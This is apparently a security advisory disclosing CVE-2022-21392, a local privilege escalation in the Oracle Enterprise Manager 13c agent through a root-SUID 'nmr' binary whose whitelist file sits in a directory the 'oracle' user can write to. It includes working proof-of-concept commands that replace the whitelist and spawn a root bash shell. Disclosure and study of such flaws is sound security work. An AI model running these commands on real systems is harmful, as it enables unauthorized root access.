
Oracle Enterprise Manager Disclosures 
 

Environment: 
• Agent13c v13.4.0.0.0 

 

Findings: 
1. CVE-2022-21392: Local Privilege Escalation via NMR SUID 

 
Description: 
In Oracle installations, where the “nmr” binary is present and SUID-ed as “root”, due to 
insecure directory permissions, the “oracle” user can elevate his/her privileges to that of the 
“root” user by replacing the “nmr_macro_list” file. 
 
Proof of Concept: 
In order to find the location of the SUID-ed “nmr” binary a “find” command such as the 
following may be used: 

find / -4000 -ls 2>/dev/null 

 

 
 
In order to prevent malicious users from running arbitrary commands as the “root” user, the 
“nmr” binary uses a whitelist of allowed commands stored in the “nmr_macro_list” file. 
 

 
 
  



Although the “nmr_macro_list” is owned and writable only by the “root” user, because the 
current directory (“/u01/app/oracle/product/agent13c/agent_13.4.0.0.0/sbin/”) is writable 
by the “oracle” user, we are able to abuse this to move or delete the file and replace it with 
our own that contains arbitrary content: 
 

 
 

 
 
Commands for quick testing: 

cd /u01/app/oracle/product/agent13c/agent_13.*/sbin/ 
mv nmr_macro_list nmr_macro_list.bak 
echo 'SHELL: /bin/bash' > nmr_macro_list 
./nmr SHELL 

 
Note: Depending on the Oracle solution used and/or how the environment is setup, the 
“nmr” binary may be in a path different to 
“/u01/app/oracle/product/agent13c/agent_13.*/sbin/”. 
 


